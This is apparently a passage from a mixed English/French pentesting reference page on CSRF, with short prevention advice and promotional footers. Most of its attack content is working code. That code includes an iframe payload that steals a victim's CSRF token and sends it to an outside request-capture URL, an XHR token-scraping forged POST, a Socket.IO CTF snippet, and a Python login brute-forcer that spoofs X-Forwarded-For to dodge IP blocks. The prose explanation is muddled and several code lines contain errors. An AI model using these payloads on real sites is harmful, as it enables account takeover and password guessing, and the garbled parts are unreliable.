To perform a Cross-Site Request Forgery (CSRF) attack, one common technique is to steal the victim's authentication token and send it using two iframes. This attack takes advantage of the fact that many websites use tokens to authenticate user requests.
Here's how the attack works:
- The attacker creates a malicious webpage that contains two hidden iframes.
- The first iframe is used to load the target website's login page.
- The second iframe is used to submit a form with the victim's token to a different URL controlled by the attacker.
- When the victim visits the malicious webpage, the first iframe loads the login page of the target website. The victim may not notice anything suspicious at this point.
- The login page contains a hidden form that automatically submits the victim's token to the attacker-controlled URL. This is done using JavaScript code injected into the login page.
- The second iframe, which is hidden from the victim, captures the victim's token and sends it to the attacker's server.
- The attacker can then use the stolen token to perform actions on behalf of the victim, such as making unauthorized requests or modifying the victim's account settings.
To protect against this type of attack, website developers should implement measures such as using anti-CSRF tokens, validating the origin of requests, and implementing strict access controls. Additionally, users should be cautious when visiting unfamiliar websites and should log out of websites when they are finished using them.
<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>
<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>
POSTVoler le jeton CSRF avec Ajax et envoyer une requête POST avec un formulaire
To perform a Cross-Site Request Forgery (CSRF) attack, an attacker needs to steal the CSRF token from the target website and then use it to send malicious requests on behalf of the victim. One way to achieve this is by using Ajax to steal the token and then sending a POST request using a form.
Here's how the attack can be carried out:
- The attacker creates a malicious webpage that contains JavaScript code to perform the CSRF attack.
- The attacker embeds an invisible iframe on the malicious webpage, pointing to the target website's login page.
- The attacker's JavaScript code in the malicious webpage uses Ajax to make a GET request to the target website's login page, retrieving the CSRF token from the response.
- Once the CSRF token is obtained, the attacker's JavaScript code can populate a hidden form with the necessary data for the malicious request.
- The attacker's JavaScript code then submits the form using a POST request, including the stolen CSRF token in the request headers or body.
- The target website, considering the request as legitimate due to the presence of the valid CSRF token, processes the malicious request on behalf of the victim.
By using this technique, an attacker can trick the target website into performing actions on behalf of the victim without their knowledge or consent. It is important for web developers to implement proper CSRF protection mechanisms, such as using unique and unpredictable CSRF tokens, to mitigate this type of attack.
<body onload="getData()">
<form id="form" action="http://google.com?param=VALUE" method="POST" enctype="multipart/form-data">
<input type="hidden" name="username" value="root"/>
<input type="hidden" name="status" value="on"/>
<input type="hidden" id="findtoken" name="token" value=""/>
<input type="submit" value="valider"/>
</form>
<script>
var x = new XMLHttpRequest();
function getData() {
x.withCredentials = true;
x.open("GET","http://google.com?param=VALUE",true);
x.send(null);
}
x.onreadystatechange = function() {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1];
document.getElementById("findtoken").value = token;
document.getElementById("form").submit();
}
}
</script>
CSRF avec Socket.IO
Socket.IO est une bibliothèque JavaScript qui permet la communication en temps réel entre le serveur et le client. Lorsqu'il est utilisé de manière incorrecte, Socket.IO peut être vulnérable à une attaque de falsification de requête intersite (CSRF).
Qu'est-ce que le CSRF ?
La falsification de requête intersite (CSRF) est une attaque qui exploite la confiance d'un site web dans les requêtes émises par un utilisateur authentifié. L'attaque se produit lorsque le site web ne vérifie pas l'origine de la requête, permettant ainsi à un attaquant de forger une requête en utilisant les informations d'authentification de l'utilisateur.
Exploiter le CSRF avec Socket.IO
Pour exploiter le CSRF avec Socket.IO, l'attaquant doit d'abord trouver un point d'injection de code JavaScript sur le site cible. Cela peut être réalisé en exploitant des vulnérabilités telles que les injections de script ou les failles XSS.
Une fois qu'un point d'injection de code JavaScript est trouvé, l'attaquant peut utiliser Socket.IO pour envoyer des requêtes falsifiées au serveur. Ces requêtes peuvent inclure des actions malveillantes telles que la modification des données de l'utilisateur, l'ajout d'un nouvel utilisateur ou la suppression de données sensibles.
Prévention du CSRF avec Socket.IO
Pour prévenir les attaques CSRF avec Socket.IO, il est essentiel de mettre en place des mesures de sécurité appropriées. Voici quelques bonnes pratiques à suivre :
-
Utilisez des jetons anti-CSRF : Générez et utilisez des jetons anti-CSRF uniques pour chaque utilisateur et chaque session. Ces jetons doivent être inclus dans les requêtes Socket.IO et vérifiés côté serveur pour s'assurer de leur validité.
-
Vérifiez l'origine des requêtes : Assurez-vous que les requêtes Socket.IO proviennent bien du site web autorisé. Vous pouvez le faire en vérifiant l'en-tête d'origine (Origin) ou en utilisant des mécanismes de vérification de domaine tels que CORS (Cross-Origin Resource Sharing).
-
Évitez les injections de script et les failles XSS : Assurez-vous que votre application est sécurisée contre les injections de script et les failles XSS en validant et en échappant correctement les données utilisateur.
En suivant ces bonnes pratiques, vous pouvez renforcer la sécurité de votre application Socket.IO et prévenir les attaques CSRF.
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io('http://six.jh2i.com:50022/test');
const username = 'admin'
socket.on('connect', () => {
console.log('connected!');
socket.emit('join', {
room: username
});
socket.emit('my_room_event', {
data: '!flag',
room: username
})
});
</script>
CSRF Brute Force de Connexion
Le code peut être utilisé pour effectuer une attaque de force brute sur un formulaire de connexion en utilisant un jeton CSRF (il utilise également l'en-tête X-Forwarded-For pour tenter de contourner un éventuel blocage d'adresse IP) :
import request
import re
import random
URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"
def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie
def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True
with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())
Outils
Références
- https://portswigger.net/web-security/csrf
- https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html
HackenProof est la plateforme des primes pour les bugs de cryptographie.
Obtenez des récompenses sans délai
Les primes HackenProof sont lancées uniquement lorsque les clients déposent le budget de récompense. Vous recevrez la récompense après la vérification du bug.
Acquérez de l'expérience en pentesting web3
Les protocoles blockchain et les contrats intelligents sont le nouvel Internet ! Maîtrisez la sécurité web3 dès ses débuts.
Devenez une légende du hacking web3
Gagnez des points de réputation avec chaque bug vérifié et conquérez le sommet du classement hebdomadaire.
Inscrivez-vous sur HackenProof et commencez à gagner grâce à vos hacks !
{% embed url="https://hackenproof.com/register" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Vous travaillez dans une entreprise de cybersécurité ? Vous souhaitez voir votre entreprise annoncée dans HackTricks ? ou souhaitez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez The PEASS Family, notre collection exclusive de NFTs
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.